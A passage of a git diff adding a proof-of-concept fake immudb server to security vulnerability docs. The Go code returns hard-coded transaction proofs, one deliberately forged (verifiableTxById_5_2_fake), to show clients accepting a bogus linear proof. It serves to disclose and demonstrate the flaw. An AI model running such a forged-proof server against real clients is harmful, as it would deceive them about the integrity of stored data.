WaitForTx(txID uint64, cancellation <-chan struct{}) error { + return db.unsupported() +} + +func (db *dbWrapper) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error { + return db.unsupported() +} + +func (db *dbWrapper) TxByID(req *schema.TxRequest) (*schema.Tx, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) ExportTxByID(req *schema.ExportTxRequest) ([]byte, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { + if req.Tx == 2 && req.ProveSinceTx == 2 { + return verifiableTxById_2_2, nil + } + + if req.Tx == 3 && req.ProveSinceTx == 2 { + return verifiableTxById_3_2, nil + } + + if req.Tx == 5 && req.ProveSinceTx == 3 { + return verifiableTxById_5_3, nil + } + + if req.Tx == 2 && req.ProveSinceTx == 5 { + return verifiableTxById_5_2_fake, nil + } + + return nil, db.unsupported() +} + +func (db *dbWrapper) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) FlushIndex(req *schema.FlushIndexRequest) error { + return db.unsupported() +} + +func (db *dbWrapper) CompactIndex() error { + return db.unsupported() +} + +func GetFakeServer(dir string, port int) (server.ImmuServerIf, error) { + + // init master server + opts := server.DefaultOptions(). + WithMetricsServer(false). + WithWebServer(false). + WithPgsqlServer(false). + WithPort(port). + WithDir(dir) + + srv := server. + DefaultServer(). + WithOptions(opts). + WithDbList(&customDbList{ + dbList: database.NewDatabaseList(), + }) + + err := srv.Initialize() + if err != nil { + return nil, err + } + + return srv, nil +} diff --git a/docs/security/vulnerabilities/linear-fake/server/state_values.go b/docs/security/vulnerabilities/linear-fake/server/state_values.go new file mode 100644 index 0000000000..4e4dfaa65d --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/server/state_values.go @@ -0,0 +1,473 @@ +package main + +import ( + "github.com/codenotary/immudb/pkg/api/schema" +) + +var ( + stateQueryResult = &schema.ImmutableState{ + Db: "defaultdb", + TxId: 2, + TxHash: []byte{ + 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, + 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, + }, + } + + verifiableTxById_2_2 = &schema.VerifiableTx{ + Tx: &schema.Tx{ + Header: &schema.TxHeader{ + Id: 2, + PrevAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, + 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + Entries: []*schema.TxEntry{ + { + Key: []byte{ + 0x00, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x2D, 0x6B, 0x65, 0x79, 0x2D, 0x30, + }, + HValue: []byte{ + 0x94, 0x1E, 0xB6, 0x5D, 0xD1, 0x72, 0xC2, 0x95, 0xFF, 0x50, 0x83, 0xCD, 0x69, 0xE7, 0x6B, 0x00, + 0x1D, 0x50, 0x67, 0x18, 0x71, 0x0F, 0x51, 0xFA, 0x83, 0x26, 0xE6, 0xDC, 0x23, 0x6B, 0x7F, 0xF6, + }, + VLen: 14, + }, + }, + }, + DualProof: &schema.DualProof{ + SourceTxHeader: &schema.TxHeader{ + Id: 2, + PrevAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, + 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + TargetTxHeader: &schema.TxHeader{ + Id: 2, + PrevAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, + 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + InclusionProof: [][]byte{}, + ConsistencyProof: [][]byte{}, + TargetBlTxAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + LastInclusionProof: [][]byte{}, + LinearProof: &schema.LinearProof{ + SourceTxId: 2, + TargetTxId: 2, + Terms: [][]byte{ + { + 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, + 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, + }, + }, + }, + }, + } + + verifiableTxById_3_2 = &schema.VerifiableTx{ + Tx: &schema.Tx{ + Header: &schema.TxHeader{ + Id: 3, + PrevAlh: []byte{ + 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, + 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81, + 0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + Entries: []*schema.TxEntry{ + { + Key: []byte{ + 0x00, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x2D, 0x6B, 0x65, 0x79, 0x2D, 0x31, + }, + HValue: []byte{ + 0x96, 0xC7, 0xA5, 0x2E, 0x71, 0x77, 0x5F, 0x04, 0x7B, 0x28, 0x47, 0x78, 0x33, 0xF3, 0x96, 0x88, + 0x8C, 0xE6, 0xEC, 0x8E, 0xA6, 0x25, 0xC8, 0x6E, 0x96, 0x25, 0xFE, 0xF8, 0x54, 0xEA, 0x20, 0xC6, + }, + VLen: 14, + }, + }, + }, + DualProof: &schema.DualProof{ + SourceTxHeader: &schema.TxHeader{ + Id: 2, + PrevAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, + 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + TargetTxHeader: &schema.TxHeader{ + Id: 3, + PrevAlh: []byte{ + 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, + 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81, + 0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + InclusionProof: [][]byte{}, + ConsistencyProof: [][]byte{}, + TargetBlTxAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + LastInclusionProof: [][]byte{}, + LinearProof: &schema.LinearProof{ + SourceTxId: 2, + TargetTxId: 3, + Terms: [][]byte{ + { + 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, + 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, + }, + + { + 0xFD, 0xAA, 0x47, 0xAF, 0x1F, 0xBE, 0x2E, 0x0E, 0x57, 0x08, 0xE7, 0x29, 0x00, 0x82, 0x94, 0x3F, + 0x22, 0xB8, 0x9F, 0x97, 0x9A, 0x48, 0xE1, 0x90, 0xC2, 0x37, 0x75, 0xD2, 0xB4, 0xF0, 0xCD, 0x90, + }, + }, + }, + }, + } + + verifiableTxById_5_3 = &schema.VerifiableTx{ + Tx: &schema.Tx{ + Header: &schema.TxHeader{ + Id: 5, + PrevAlh: []byte{ + 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, + 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC, + 0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA, + }, + BlTxId: 4, + BlRoot: []byte{ + 0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26, + 0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C, + }, + }, + Entries: []*schema.TxEntry{ + { + Key: []byte{ + 0x00, 0x6B, 0x65, 0x79, 0x2D, 0x61, 0x66, 0x74, 0x65, 0x72, 0x2D, 0x31, + }, + HValue: []byte{ + 0x67, 0x5C, 0xD3, 0xBC, 0x14, 0x05, 0xA2, 0xA5, 0x07, 0xE0, 0x03, 0xB1, 0xFA, 0xCC, 0x4D, 0xA4, + 0x73, 0xE1, 0x95, 0x6C, 0x45, 0xD7, 0xC0, 0x6F, 0xBC, 0x01, 0xE3, 0xA8, 0xD9, 0x1F, 0x25, 0x6C, + }, + VLen: 14, + }, + }, + }, + DualProof: &schema.DualProof{ + SourceTxHeader: &schema.TxHeader{ + Id: 3, + PrevAlh: []byte{ + 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, + 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81, + 0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + TargetTxHeader: &schema.TxHeader{ + Id: 5, + PrevAlh: []byte{ + 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, + 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC, + 0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA, + }, + BlTxId: 4, + BlRoot: []byte{ + 0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26, + 0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C, + }, + }, + InclusionProof: [][]byte{ + { + 0xD4, 0xA4, 0x6E, 0x1D, 0x3F, 0x6C, 0xF5, 0xED, 0xFE, 0x7F, 0x4F, 0x8E, 0x68, 0x34, 0x54, 0x4F, + 0xED, 0x83, 0x56, 0x40, 0x88, 0x10, 0x29, 0x0E, 0xC4, 0xA3, 0x8C, 0xE0, 0xA6, 0xC8, 0x44, 0x33, + }, + + { + 0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12, + 0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E, + }, + }, + ConsistencyProof: [][]byte{ + { + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + + { + 0xEB, 0xA0, 0xC2, 0x62, 0xC4, 0x5F, 0x64, 0xB5, 0x54, 0x29, 0x33, 0x54, 0x37, 0x33, 0x7D, 0x79, + 0x33, 0x43, 0x42, 0xE2, 0xCF, 0x71, 0x87, 0x6E, 0x93, 0x0B, 0x4B, 0x19, 0x90, 0xA5, 0x56, 0x8B, + }, + + { + 0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53, + 0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA, + }, + }, + TargetBlTxAlh: []byte{ + 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, + 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, + }, + LastInclusionProof: [][]byte{ + { + 0x9B, 0xE3, 0x2A, 0x61, 0x60, 0xD2, 0x7A, 0x88, 0x4B, 0xA7, 0xCF, 0xB0, 0x20, 0xCE, 0x78, 0x73, + 0x5D, 0xBC, 0xCD, 0x40, 0x65, 0x23, 0xF3, 0x7D, 0x6E, 0x5A, 0xAD, 0x63, 0x39, 0xCD, 0x72, 0x73, + }, + + { + 0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12, + 0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E, + }, + }, + LinearProof: &schema.LinearProof{ + SourceTxId: 4, + TargetTxId: 5, + Terms: [][]byte{ + { + 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, + 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, + }, + + { + 0x0F, 0x31, 0x18, 0xA6, 0x51, 0x1D, 0x80, 0x1F, 0xDC, 0x69, 0xA8, 0x5A, 0xEC, 0x60, 0x3B, 0x6C, + 0x6B, 0xCE, 0x79, 0x1B, 0x95, 0x09, 0x48, 0x95, 0x73, 0xA0, 0xE5, 0x61, 0xF3, 0xA0, 0x0B, 0x48, + }, + }, + }, + }, + } + + verifiableTxById_5_2_fake = &schema.VerifiableTx{ + Tx: &schema.Tx{ + Header: &schema.TxHeader{ + Id: 2, + PrevAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x90, 0xBC, 0x22, 0xA3, 0x60, 0x0E, 0x97, 0x70, 0xA8, 0x89, 0x9C, 0x55, 0xD2, 0x7F, 0x17, 0xB0, + 0xA2, 0x40, 0xEC, 0x99, 0xE2, 0x99, 0xFE, 0x26, 0xB0, 0x34, 0xBE, 0x61, 0x9C, 0x1D, 0x84, 0xEA, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + Entries: []*schema.TxEntry{ + { + Key: []byte{ + 0x00, 0x66, 0x61, 0x6B, 0x65, 0x2D, 0x6B, 0x65, 0x79, + }, + HValue: []byte{ + 0x1E, 0x53, 0xF2, 0x30, 0xA2, 0x8E, 0x86, 0x56, 0x31, 0xD1, 0x98, 0xB9, 0x1D, 0x03, 0x1A, 0x9E, + 0x15, 0xB8, 0xA5, 0x2A, 0xAD, 0x76, 0x81, 0x33, 0x87, 0x4C, 0x86, 0xC7, 0xC3, 0x39, 0x75, 0xB1, + }, + VLen: 11, + }, + }, + }, + DualProof: &schema.DualProof{ + SourceTxHeader: &schema.TxHeader{ + Id: 2, + PrevAlh: []byte{ + 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, + 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x90, 0xBC, 0x22, 0xA3, 0x60, 0x0E, 0x97, 0x70, 0xA8, 0x89, 0x9C, 0x55, 0xD2, 0x7F, 0x17, 0xB0, + 0xA2, 0x40, 0xEC, 0x99, 0xE2, 0x99, 0xFE, 0x26, 0xB0, 0x34, 0xBE, 0x61, 0x9C, 0x1D, 0x84, 0xEA, + }, + BlTxId: 1, + BlRoot: []byte{ + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + }, + TargetTxHeader: &schema.TxHeader{ + Id: 5, + PrevAlh: []byte{ + 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, + 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, + }, + Ts: 1661869350, + Version: 1, + Nentries: 1, + EH: []byte{ + 0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC, + 0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA, + }, + BlTxId: 4, + BlRoot: []byte{ + 0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26, + 0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C, + }, + }, + InclusionProof: [][]byte{ + { + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + + { + 0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53, + 0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA, + }, + }, + ConsistencyProof: [][]byte{ + { + 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, + 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, + }, + + { + 0xEB, 0xA0, 0xC2, 0x62, 0xC4, 0x5F, 0x64, 0xB5, 0x54, 0x29, 0x33, 0x54, 0x37, 0x33, 0x7D, 0x79, + 0x33, 0x43, 0x42, 0xE2, 0xCF, 0x71, 0x87, 0x6E, 0x93, 0x0B, 0x4B, 0x19, 0x90, 0xA5, 0x56, 0x8B, + }, + + { + 0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53, + 0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA, + }, + }, + TargetBlTxAlh: []byte{ + 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, + 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, + }, + LastInclusionProof: [][]byte{ + { + 0x9B, 0xE3, 0x2A, 0x61, 0x60, 0xD2, 0x7A, 0x88, 0x4B, 0xA7, 0xCF, 0xB0, 